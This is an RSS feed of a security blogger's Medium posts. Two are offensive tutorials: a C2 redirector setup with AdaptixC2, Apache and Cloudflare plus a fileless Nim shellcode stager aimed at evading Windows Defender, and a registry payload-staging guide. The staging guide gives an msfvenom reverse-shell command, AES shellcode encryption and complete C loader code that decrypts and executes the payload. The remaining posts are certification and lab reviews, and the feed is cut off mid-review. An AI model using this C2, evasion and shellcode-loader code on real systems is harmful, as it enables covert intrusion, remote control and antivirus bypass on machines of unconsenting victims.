<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by M Sameer Malik on Medium]]></title>
        <description><![CDATA[Stories by M Sameer Malik on Medium]]></description>
        <link>https://medium.com/@m.sameer.malik113?source=rss-34384062a293------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*-qZXOvUS4LZSK6-4</url>
            <title>Stories by M Sameer Malik on Medium</title>
            <link>https://medium.com/@m.sameer.malik113?source=rss-34384062a293------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 00:25:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@m.sameer.malik113/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a Basic C2 Redirector with AdaptixC2 on AWS and Cloudflare]]></title>
            <link>https://medium.com/@m.sameer.malik113/building-a-basic-c2-redirector-with-adaptixc2-on-aws-and-cloudflare-5e3ee5eb64c3?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e3ee5eb64c3</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[adaptixc2]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[av-evasion]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Mon, 10 Aug 2026 10:45:50 GMT</pubDate>
            <atom:updated>2026-08-10T10:45:50.707Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A practical walkthrough of Adaptix, EC2 setup, Apache reverse proxy, listener configuration, and a simple Nim loader to bypass windows defender.</em></p><h3>What I was trying to understand</h3><p>I wanted a clean, working lab for a redirector in front of an AdaptixC2 team server. The goal was straightforward: stand up a small Ubuntu EC2 instance, put Apache in front of it as a reverse proxy, point a Cloudflare subdomain at the public IP, configure an HTTP listener with a few common-looking URIs, generate a beacon, and get a callback through a custom loader. This was a research exercise, not a production engagement, so I kept the scope limited.</p><h3>Infrastructure overview</h3><p>The core pieces that appear in the documentation and screenshots are:</p><p>• An AWS EC2 instance (Ubuntu, free-tier style sizing) that hosts the AdaptixC2 team server and the Apache redirector.</p><p>• A Cloudflare DNS record (proxied) pointing a subdomain at the public IP of the VPS.</p><p>• AdaptixC2 server and client (running on the operator’s Kali host for the client side).</p><p>• An HTTP listener on port 8443 with a small set of URIs and a custom User-Agent.</p><p>• A Nim-based loader that loads a .bin agent and produced callbacks.</p><h3>Setup and configuration</h3><h3>EC2 instance</h3><p>Walk through for a standard free-tier style launch:</p><p>• Ubuntu Server AMI (the written steps mention 22.04 LTS; the live screenshot shows Ubuntu 26.04 LTS).</p><p>• Instance type t2.micro / t3.micro.</p><p>• New RSA key pair saved as a .pem file (named adaptix-key.pem or c2-key.pem in different places).</p><p>• Security group allowing SSH, HTTP (80), and HTTPS (443).</p><p>• Default 20 GiB gp3 storage.</p><p>After launch the instance appeared in the EC2 console with a green “Running” state. The public IPv4 address was recorded and used for SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*wSIc2KysONwdfEyJon0Ibw.png" /><figcaption><em>EC2 instance summary showing the Adaptix host, public IP, and instance type.</em></figcaption></figure><h3>OPSEC consideration: security group and SSH</h3><p>The written steps recommend restricting the SSH rule to “My IP”. The security-group screenshot that was captured, however, shows SSH (port 22), HTTP, and HTTPS all open to 0.0.0.0/0. Leaving SSH open to the world creates a persistent, high-value attack surface on the redirector itself. Anyone scanning the public IP can attempt authentication. In a more realistic authorized engagement I would keep the SSH source locked to a single operator IP (or a small bastion) and consider moving management access behind a VPN or SSM Session Manager so the management plane is never directly exposed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*OZXucOEUM_A4Hi5IaTDv3w.png" /><figcaption>Security group inbound rules as captured — SSH is open to 0.0.0.0/0</figcaption></figure><p>From Kali the key permissions were tightened and the connection made:</p><pre>chmod 400 adaptix-key.pem<br>ssh -i adaptix-key.pem ubuntu@&lt;public-ip&gt;</pre><p>Also after logging in create a reverse proxy so that traffic arriving on the cloud host’s 8443 could be forwarded back to a listener running on the operator side or vice-versa.</p><h3>Apache Set up</h3><p>After updating and upgrading. set the following configuration for the apache redirector.</p><pre>&lt;VirtualHost *:80&gt;<br>    ServerName c.domain.com<br>    RewriteEngine On<br>    RewriteRule ^(.*)$ https://c.domain.com$1 [R=301,L]<br>&lt;/VirtualHost&gt;<br><br>&lt;VirtualHost *:443&gt;<br>    ServerName c.domain.com<br><br>    SSLEngine on<br>    SSLCertificateFile /etc/ssl/certs/cloudflare-origin-fullchain.pem<br>    SSLCertificateKeyFile /etc/ssl/private/cloudflare-origin-key.pem<br><br>    ProxyRequests Off<br>    SSLProxyEngine on<br>    SSLProxyVerify none<br>    SSLProxyCheckPeerCN off<br>    SSLProxyCheckPeerName off<br><br>    SetEnv proxy-nokeepalive 1<br>    SetEnv proxy-initial-not-pooled 1<br><br>    LogLevel warn<br>    ErrorLog /var/log/apache2/c2_error.log<br>    CustomLog /var/log/apache2/c2_access.log &quot;%h %t \&quot;%r\&quot; %&gt;s \&quot;%{X-User-Id}i\&quot; \&quot;%{User-Agent}i\&quot;&quot;<br><br>    RewriteEngine On<br><br>    RewriteCond %{HTTP_USER_AGENT} &quot;Mozilla/5.0 \(Windows NT 6\.2&quot; [NC]<br>    RewriteRule ^(/api/v1/status|/updates/check\.php|/content\.html)$ https://127.0.0.1:8443$1 [P,L]<br><br>    RewriteRule ^ - [R=404,L]<br><br>    ProxyPassReverse / https://127.0.0.1:8443/<br><br>&lt;/VirtualHost&gt;</pre><h3>AdaptixC2 server and client</h3><p>On the operator side the Adaptix client was started against a profile:</p><p>sudo ./AdaptixClient -profile profile.yaml</p><p>The team server log in the screenshot shows it restoring zero agents/listeners on start, then starting a listener named “IA” on <a href="http://0.0.0.0:8443.">http://0.0.0.0:8443.</a> The management interface itself was listening on 0.0.0.0:4321.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*MTklmMBaTYX_unnAw0c1WA.png" /><figcaption><em>Terminal collage: SSH remote forward attempt, local listener checks, AdaptixC2 server start, and client launch.</em></figcaption></figure><h3>OPSEC consideration: binding and exposure</h3><p>Binding the team server and the listener to 0.0.0.0 means any interface (including the public one) can reach them if the security group allows it. In the lab the security group already permitted 80/443 from the world; an accidental open of 8443 or 4321 would have exposed the C2 directly. A tighter approach is to bind the team server to 127.0.0.1 only and force all external traffic through the Apache redirector (or an SSH tunnel). That way the only ports visible to the internet are the ones Apache is deliberately proxying.</p><h3>Cloudflare DNS</h3><p>A subdomain (c.REDACTED.COM) was created as an A record pointing at the VPS public IP and set to Proxied (orange cloud). This gives the traffic Cloudflare’s edge IPs and TLS termination at the CDN.</p><h3>Listener configuration</h3><p>Inside Adaptix a listener was created with the following visible settings:</p><p>• Protocol: external (https)</p><p>• Config / profile: BeaconHTTP</p><p>• Bind: 0.0.0.0:8443</p><p>• Method: GET</p><p>• URIs: /api/v1/status, /updates/check.php, /content.html</p><p>• User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0 ldots)</p><p>• Heartbeat header: X-User-Id</p><ul><li>Use SSL: checked (plain HTTP)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*XcuTwr10VaU9tW6PRNxWuw.png" /></figure><h3>OPSEC consideration: Make sure to change the defaults</h3><p>Following that I created an agent in .bin format. And checked the spices shown on the interface to increase its stealth.</p><p>Tip: you can use <a href="https://github.com/raskolnikov90/Beatrice.py">https://github.com/raskolnikov90/Beatrice.py</a> to bypass a few security solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*H2gSXx904mTL07hK7hhVQg.png" /><figcaption>Agent Configuration</figcaption></figure><p>Following that we come to…</p><h3>Creating a loader which bypasses Defender</h3><p>Here Nim language was utilized which calls native api’s.</p><p>The .bin file created by the adaptix is served on the vps on port 8000. The loader downloads it and executes it.</p><p>This Nim stager operates in five seamless steps: it first downloads a raw binary shellcode file (backup.bin) from a remote HTTP server, then converts the response into a raw byte sequence to preserve binary integrity, after which it obtains a privileged handle to its own process, allocates a new region of memory with Read-Write-Execute permissions inside that process, copies the downloaded shellcode into that region, and finally casts the memory address to a Nim function pointer and invokes it, causing the CPU to jump directly into the attacker&#39;s payload and execute it without ever writing a malicious file to disk, making it a classic fileless in‑memory stager for Windows systems.</p><p>For Delivery I used the backup.exe in usb which when double clicked pulls the .bin and executes it which results in a call back.</p><p>After establishing the sessions the interface looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BsqkfSNasptyVc3I7I-lHw.png" /></figure><p>Navigating direcotry structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*gRBA1kPVZlPFiAYVz1UlMA.png" /><figcaption>Navigating directories</figcaption></figure><h3>Detection / defensive observations</h3><p>From the configuration a few detection angles are obvious:</p><p>• Fixed URI set + consistent User-Agent + heartbeat header (X-User-Id) form a reasonably stable signature.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e3ee5eb64c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Payload Staging Via Registry Keys]]></title>
            <link>https://medium.com/@m.sameer.malik113/payload-staging-via-registry-keys-103361b6e194?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/103361b6e194</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[malware-development]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 04:12:53 GMT</pubDate>
            <atom:updated>2026-08-04T04:12:53.666Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article I will be discussing how one can use the windows registry keys to stage the malware.</p><p>So first of all what actually is Payload Staging?</p><p>It is hosting of the payload at some place to be retrieved by the loader. Simple enough.</p><p>Now lets focus now how one can replicate that in your lab environment. I used a windows 10 and kali linux virtual machines for this lab.</p><p>First of all I created the payload using msfvenom ( yes, I know it is heavily signatured, but I am only using it for the sake of this lab in real environments other c2’s like havoc, adaptix, sliver etc are way better options).</p><p>The following command was used :</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;your ip&gt; LPORT=&lt;port you will listen on&gt; -f c</pre><p>After generating the payload I encrypted it with military grade encryption ( AES 256).</p><p>I used the following python code to encrypt the payload and generate the keys and iv for msfvenom’s output.</p><pre>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import pad<br>import os<br><br># 1. Paste your 460-byte shellcode here as a raw bytes string<br>shellcode = bytes([<br>    # Enter your msf&#39;s shellcode here<br>])<br><br># 2. Generate a secure random 256-bit (32-byte) Key and 128-bit (16-byte) IV<br>key = os.urandom(32)<br>iv = os.urandom(16)<br><br># 3. Pad the data to multiple of 16 (PKCS7)<br>padded_data = pad(shellcode, AES.block_size)<br><br># 4. Encrypt<br>cipher = AES.new(key, AES.MODE_CBC, iv)<br>encrypted_data = cipher.encrypt(padded_data)<br><br># 5. Print formatting for C array<br>print(f&quot;// AES-256 KEY (32 bytes) - Save this! : {key.hex()}&quot;)<br>print(f&quot;// AES-256 IV  (16 bytes) - Save this! : {iv.hex()}&quot;)<br>print(&quot;\nunsigned char encrypted_shellcode[] = &quot;)<br>for i in range(0, len(encrypted_data), 16):<br>    chunk = encrypted_data[i:i+16]<br>    hex_str = &quot;&quot;.join([f&quot;\\x{b:02x}&quot; for b in chunk])<br>    if i == 0:<br>        print(f&quot;\&quot;{hex_str}\&quot;&quot;)<br>    else:<br>        print(f&quot;\&quot;{hex_str}\&quot;&quot;)<br>print(&quot;;&quot;)</pre><p>At this point the shellcode is encrypted and the keys are ready. Now I need to write it to the registry keys. So I will create a new project in the Visual Studio and select an empty template.</p><p>We will define the address of the registry keys at the top. And paste the encrypted shellcode in the below code.</p><p>I have used the <strong>RegOpenKeyExA()</strong> to obtain a handle to the registry key and <strong>RegSetValueExA()</strong> to set the value of the registry key to our encrypted payload.</p><pre>#include&lt;stdio.h&gt;<br>#include&lt;windows.h&gt;<br>#define REGISTRY &quot;Software&quot;<br>#define REGSTRING &quot;Mware4U&quot;<br><br>unsigned char encrypted_shellcode[] =<br>// Your encrypted shellcode here<br>;<br><br>BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {<br> BOOL bSTATE = TRUE;<br> LSTATUS STATUS = NULL;<br> HKEY hKey = NULL;<br> printf(&quot;[i] Writing 0x%p [ Size: %ld ] to \&quot;%s\\%s\&quot; ... &quot;, pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);<br> STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &amp;hKey);<br> if (ERROR_SUCCESS != STATUS) {<br>  printf(&quot;[!] RegOpenKeyExA Failed With Error : %d\n&quot;, STATUS);<br>  bSTATE = FALSE; goto _EndOfFunction;<br> }<br> STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);<br> if (ERROR_SUCCESS != STATUS) {<br>  printf(&quot;[!] RegSetValueExA Failed With Error : %d\n&quot;, STATUS);<br>  bSTATE = FALSE; goto _EndOfFunction;<br> }<br> printf(&quot;[+] DONE ! \n&quot;);<br>_EndOfFunction:<br> if (hKey)<br>  RegCloseKey(hKey);<br> return bSTATE;<br>}<br><br>int main() {<br> DWORD size = sizeof(encrypted_shellcode);<br> WriteShellcodeToRegistry(encrypted_shellcode, size);<br> getchar();<br><br>}</pre><p>Build the project and then open the relevant registry key. Observe that the registry contains our payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*egXlafzHGXGyr45fZpotBw.png" /></figure><p>Now the payload is written to the registry key. The only thing left now is to read the payload from the registry, decrypt it and then execute it.</p><p>For that we will create a new project with empty template.</p><p>The purpose of this project is to read -&gt; decrypt -&gt; shell.</p><p>The main functions being used here are ReadShellcodeFromRegistry(), Aes256Decryption() and RunShellcode(), there function is obvious by their names.</p><p>To run shellcode the normal flow for virutalAlloc -&gt; copy to memory -&gt; fill the remaing space -&gt; create thread workflow was used.</p><p>Opsec note: This flow is very common and is easily detected by alot of Security Solutions.</p><pre>#define WIN32_LEAN_AND_MEAN<br>#define _WIN32_WINNT 0x0A00<br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;bcrypt.h&gt;<br><br>#pragma comment(lib, &quot;advapi32.lib&quot;)<br>#pragma comment(lib, &quot;bcrypt.lib&quot;)<br><br><br>#define REGISTRY &quot;Software&quot;<br>#define REGSTRING &quot;Mware4U&quot;<br><br>BYTE key[] = {<br>};<br><br>BYTE iv[] = {<br>};<br><br>BOOL Aes256Decrypt(PBYTE pCiphertext, DWORD dwCiphertextSize, PBYTE pKey, PBYTE pIv, PBYTE* ppPlaintext, DWORD* pdwPlaintextSize) {<br> BCRYPT_ALG_HANDLE hAlg = NULL;<br> BCRYPT_KEY_HANDLE hKey = NULL;<br> DWORD dwResult = 0;<br> DWORD dwOutputSize = 0; r<br> BOOL bResult = FALSE;<br><br> if (BCryptOpenAlgorithmProvider(&amp;hAlg, BCRYPT_AES_ALGORITHM, NULL, 0) != 0) return FALSE;<br><br> <br> LPCWSTR chainingMode = L&quot;ChainingModeCBC&quot;;<br> BCryptSetProperty(hAlg, L&quot;ChainingMode&quot;, (PBYTE)chainingMode, (ULONG)((wcslen(chainingMode) + 1) * sizeof(WCHAR)), 0);<br><br> if (BCryptGenerateSymmetricKey(hAlg, &amp;hKey, NULL, 0, (PBYTE)pKey, 32, 0) != 0) goto cleanup;<br><br> <br> BCryptDecrypt(hKey, pCiphertext, dwCiphertextSize, NULL, pIv, 16, NULL, 0, &amp;dwOutputSize, 0x00000002);<br><br> *ppPlaintext = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwOutputSize);<br> if (!*ppPlaintext) goto cleanup;<br><br> if (BCryptDecrypt(hKey, pCiphertext, dwCiphertextSize, NULL, pIv, 16, *ppPlaintext, dwOutputSize, pdwPlaintextSize, 0x00000002) != 0) {<br>  HeapFree(GetProcessHeap(), 0, *ppPlaintext);<br>  *ppPlaintext = NULL;<br>  goto cleanup;<br> }<br> bResult = TRUE;<br><br>cleanup:<br> if (hKey) BCryptDestroyKey(hKey);<br> if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);<br> return bResult;<br>}<br><br>BOOL ReadShellcodeFromRegistry(IN DWORD sPayloadSize, OUT PBYTE* ppPayload) {<br> LSTATUS STATUS = NULL;<br> DWORD dwBytesRead = sPayloadSize;<br> PVOID pBytes = NULL;<br> pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);<br> if (pBytes == NULL) {<br>  printf(&quot;[!] HeapAlloc Failed With Error : %d\n&quot;, GetLastError());<br>  return FALSE;<br> }<br> STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &amp;dwBytesRead);<br> if (ERROR_SUCCESS != STATUS) {<br>  printf(&quot;[!] RegGetValueA Failed With Error : %d\n&quot;, STATUS);<br>  HeapFree(GetProcessHeap(), 0, pBytes);<br>  return FALSE;<br> }<br> if (sPayloadSize != dwBytesRead) {<br>  printf(&quot;[!] Total Bytes Read : %d ; Instead Of Reading : %d\n&quot;, dwBytesRead, sPayloadSize);<br>  HeapFree(GetProcessHeap(), 0, pBytes);<br>  return FALSE;<br> }<br> *ppPayload = (PBYTE)pBytes;<br> return TRUE;<br>}<br><br>BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {<br> PVOID pShellcodeAddress = NULL;<br> DWORD dwOldProtection = NULL;<br> pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> if (pShellcodeAddress == NULL) {<br>  printf(&quot;[!] VirtualAlloc Failed With Error : %d \n&quot;, GetLastError());<br>  return FALSE;<br> }<br> printf(&quot;[i] Allocated Memory At : 0x%p \n&quot;, pShellcodeAddress);<br> memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);<br> memset(pDecryptedShellcode, &#39;\0&#39;, sDecryptedShellcodeSize);<br> if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &amp;dwOldProtection)) {<br>  printf(&quot;[!] VirtualProtect Failed With Error : %d \n&quot;, GetLastError());<br>  return FALSE;<br> }<br> printf(&quot;[#] Press &lt;Enter&gt; To Run ... &quot;);<br> getchar();<br><br><br> if (CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pShellcodeAddress, NULL, NULL, NULL) == NULL) {<br>  printf(&quot;[!] CreateThread Failed With Error : %d \n&quot;, GetLastError());<br>  return FALSE;<br> }<br> return TRUE;<br>}<br><br>int main() {<br> PBYTE pEncryptedData = NULL;<br> DWORD dwDecryptedSize = 0;<br> PBYTE pDecryptedData = NULL;<br><br> // Matches the exact size our Writer created (464 bytes + 1 null byte)<br> DWORD dwEncryptedSize = 465;<br><br> printf(&quot;[*] Reading encrypted payload from registry...\n&quot;);<br> if (!ReadShellcodeFromRegistry(dwEncryptedSize, &amp;pEncryptedData)) {<br>  printf(&quot;[!] Failed to read from registry.\n&quot;);<br>  getchar();<br>  return 1;<br> }<br> printf(&quot;[+] Read %ld bytes from registry.\n&quot;, dwEncryptedSize);<br><br> printf(&quot;[*] Decrypting payload with AES-256...\n&quot;);<br><br> <br> if (!Aes256Decrypt(pEncryptedData, dwEncryptedSize - 1, key, iv, &amp;pDecryptedData, &amp;dwDecryptedSize)) {<br>  printf(&quot;[!] Decryption failed! Did you paste the correct Key/IV?\n&quot;);<br>  getchar();<br>  return 1;<br> }<br> printf(&quot;[+] Decrypted successfully! Size: %ld bytes.\n&quot;, dwDecryptedSize);<br><br> RunShellcode(pDecryptedData, dwDecryptedSize);<br><br> printf(&quot;[*] Press Enter to exit the executor...\n&quot;);<br> getchar();<br> return 0;<br>}</pre><p>Finally build the project and wait for a shell :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dkaPpXHiqkn0P9dGmsMEpQ.png" /><figcaption>Executing the payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*Cu1kh3qIXN2HmPb4Ll6t0Q.png" /><figcaption>Shell Received</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=103361b6e194" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RstaastaLabs Review: Where Pentesting Ends and Red Teaming Begins]]></title>
            <link>https://medium.com/@m.sameer.malik113/rstaastalabs-review-where-pentesting-ends-and-red-teaming-begins-c1977f1296d8?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1977f1296d8</guid>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Fri, 15 May 2026 07:03:22 GMT</pubDate>
            <atom:updated>2026-05-15T07:03:22.926Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*L4ENQtPUfYDWVS_s-GVSPQ.png" /><figcaption>RastaLabs Certificate</figcaption></figure><p>If you have been doing penetration testing for a while and feel comfortable with the standard methodology, RastaLabs will quietly remind you that comfort is not the same as competence.</p><p>That is the best way I can describe this lab. It does not just teach you new techniques. It reframes how you think about an engagement entirely.</p><p><strong>The Real Lesson: Pentest vs Red Team</strong></p><p>Most people come into this lab with a pentesting mindset. You find a vulnerability, you exploit it, you move on. RastaLabs does not reward that approach. The environment is built around operational realism, the kind where you have to think about what you are running, where you are running it from, and whether it is going to make noise before you even execute it.</p><p>That shift in thinking is the most valuable thing this lab gives you and no certification course teaches it the way a live environment does.</p><p><strong>The AV Situation</strong></p><p>This is where things get interesting. The lab has signature based antivirus running across certain machines and it is not uniform. Some tools that you rely on will get flagged immediately. Others that you would not expect will pass right through. You will find yourself in situations where Mimikatz is completely blocked but something else gets through without a second look.</p><p>This forces you to actually understand what your tools are doing under the hood rather than just running them and hoping for output. AMSI bypass becomes a real conversation here, not a theoretical one. You will work through it, hit walls, find ways around those walls, and come out understanding the why behind each step in a way that reading about it never gives you.</p><p><strong>Pivoting and Firewall Handling</strong></p><p>The pivoting in RastaLabs is not the deep quadruple pivot chain you might find in some other pro labs. What it is instead is operationally realistic. You are managing multiple firewalls, figuring out what can reach where, and making deliberate decisions about your tooling based on the environment rather than habit. That constraint is actually more educational than complexity for the sake of complexity.</p><p><strong>Active Directory and Going Beyond BloodHound</strong></p><p>The AD component is where the lab earns its reputation. BloodHound is your starting point here, not your answer. The lab actively teaches you that following what BloodHound tells you to exploit is the floor, not the ceiling. Enumeration is your best friend throughout and the lab reinforces that constantly. You will find paths that no automated tool surfaced. You will also find yourself at dead ends that looked like paths until you dug deeper.</p><p>Lateral movement, ACL abuse, credential theft, clipboard content, password attacks, token impersonation, the lab covers a serious range without feeling like a checklist. It flows like a real engagement would.</p><p><strong>What It Does Not Have</strong></p><p>The AV and EDR detections are not the latest generation. You are not going up against modern EDR solutions here and it is worth knowing that going in. The techniques you use are grounded in Windows 10 era defenses. That is not a dealbreaker by any means because the fundamentals you build here transfer directly to modern environments, but if you are expecting to practice against cutting edge detections specifically this lab is not that.</p><p><strong>Who Should Do This</strong></p><p>If you know your way around Active Directory basics and want to understand what a real red team engagement actually feels like operationally, this lab is the right next step. It is not for complete beginners but it is also not gatekeeper difficult. It rewards patience, out of the box thinking, and the willingness to enumerate when every instinct tells you to just run the exploit.</p><p>The lab does not hold your hand. It does not need to. The environment teaches you by making you feel the consequences of every decision you make inside it.</p><p>That is exactly what a good lab should do.</p><p>p.s: If you get stuck feel free to tossup a dm at <a href="https://www.linkedin.com/in/muhammad-sameer-malik-18b52634b/">https://www.linkedin.com/in/muhammad-sameer-malik-18b52634b/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1977f1296d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CNSP — Certified Network Security Professional Exam Review]]></title>
            <link>https://medium.com/@m.sameer.malik113/cnsp-certified-network-security-professional-exam-review-3989f206f716?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/3989f206f716</guid>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Fri, 13 Feb 2026 18:17:15 GMT</pubDate>
            <atom:updated>2026-02-13T18:17:15.847Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gks8aE-W_wouBmdT2VsEEA.png" /><figcaption>CNSP — Exam Review</figcaption></figure><h3>Certified Network Security Professional (CNSP) — Detailed, Honest Review</h3><p>The <strong>Certified Network Security Professional</strong> exam is best described as a <strong>pure fundamentals validation</strong>. It is not designed to impress with advanced exploitation or deep specialization; instead, it focuses on answering a much more important question early in a cybersecurity career: <em>Do you actually understand how systems and networks work under the hood?</em></p><p>A major strength of this exam is how seriously it treats <strong>networking fundamentals</strong>. It does not stop at asking what a protocol is; it expects you to understand how protocols operate, how data flows through a network, and what that communication looks like in real traffic.</p><p>This naturally ties into packet analysis, where tools like <strong>Wireshark</strong> are central. The exam validates whether you know what is happening <em>inside</em> packet captures, how to interpret traffic, and how to reason about what normal versus abnormal communication looks like. This goes beyond clicking through a GUI and checks actual analytical understanding.</p><p>On the operating system side, the Windows coverage is surprisingly practical. You’re expected to know how Windows systems function from a security and administration perspective, including awareness of critical registry keys, how domains operate, how users and groups are structured, and how permissions are managed.</p><p>Command-line knowledge matters here. The exam tests whether you understand which commands are used to add or remove users, place users into domains, assign them to different groups, and manage access properly. This is the kind of knowledge that directly maps to real-world system administration and SOC-level work.</p><p>Linux fundamentals are also an important part of the assessment. Rather than treating Linux as an afterthought, the exam expects you to understand how Linux systems work internally, what kernels are and why they matter, and how permissions affect security.</p><p>Concepts like SUID and SGID bits are included specifically to check whether you understand privilege behavior and escalation risks, not just file permissions in theory. This reinforces the idea that security starts with knowing how the operating system enforces access control.</p><p>Beyond purely technical topics, the exam also touches on <strong>security awareness</strong>, particularly phishing.</p><p>You are expected to recognize which emails are legitimate and which are malicious, and more importantly, <em>why</em> they are malicious. This balances the technical content nicely and reflects real-world security roles, where human judgment is just as important as technical skill.</p><p>Overall, the CNSP exam feels like a broad but intentional mixture of networking, operating systems, and security fundamentals. It validates that a candidate has taken the time to build a solid base instead of rushing directly into advanced topics.</p><p>It’s especially relevant for beginners, SOC aspirants, or anyone who wants confirmation that their fundamentals are not shaky.</p><p>In terms of value, pricing matters a lot for this certification. At around £100, there are arguably stronger alternatives available that offer either more depth, better recognition, or more hands-on components. However, at a heavy discount or free, such as through Black Friday promotions, the equation changes completely.</p><p>At a 90% discount or zero cost, the CNSP becomes a very reasonable and defensible certification that adds structure and credibility to foundational knowledge.</p><p>If you obtained it for free, it is absolutely worth it and comes with no real downside. It serves as a solid checkpoint in a learning journey and confirms that you understand the basics properly before moving on. As a paid certification at full price, it’s not bad, but it should be carefully compared with other options in the same range.</p><p>In short, CNSP will not make you an expert, but it does something arguably more important early on: it proves that your fundamentals are real.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3989f206f716" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRTA — Certified Red Team Analyst Exam Review]]></title>
            <link>https://medium.com/@m.sameer.malik113/crta-certified-red-team-analyst-exam-review-55a1fcb2b255?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/55a1fcb2b255</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[crta]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Fri, 13 Feb 2026 18:03:33 GMT</pubDate>
            <atom:updated>2026-02-13T18:03:33.500Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDDB3m7xzkrnzVDYsl1_vw.png" /><figcaption>Certification</figcaption></figure><h3>Certified Red Team Analyst (CRTA) — An Honest, Ground-Level Review</h3><p>Clearing the <strong>Certified Red Team Analyst (CRTA)</strong> exam by <strong>Cyber Warfare Labs</strong> feels less like “I passed a test” and more like “I survived a controlled intrusion.” That distinction matters, especially in an ecosystem flooded with multiple-choice certifications that test memory more than mindset.</p><p>This review is written for <strong>future exam takers</strong> and <strong>early-stage red teamers</strong> who want a realistic understanding of what the certification offers, where it shines, and where it has clearly changed.</p><h3>What the CRTA Actually Is (and What It Is Not)</h3><p>At its core, <strong>Certified Red Team Analyst</strong> is a <strong>foundational red-team certification</strong>. It is not trying to compete with advanced red-team or adversary simulation credentials. Instead, it focuses on validating whether you understand <strong>how attacks flow in real environments</strong>, particularly Windows-centric ones.</p><p>This is an <strong>entry-to-intermediate level exam</strong> that expects you to:</p><ul><li>Think like an attacker</li><li>Understand why certain attacks work</li><li>Chain small misconfigurations into real compromise</li></ul><p>It does <strong>not</strong> hold your hand, but it also does not expect you to reinvent 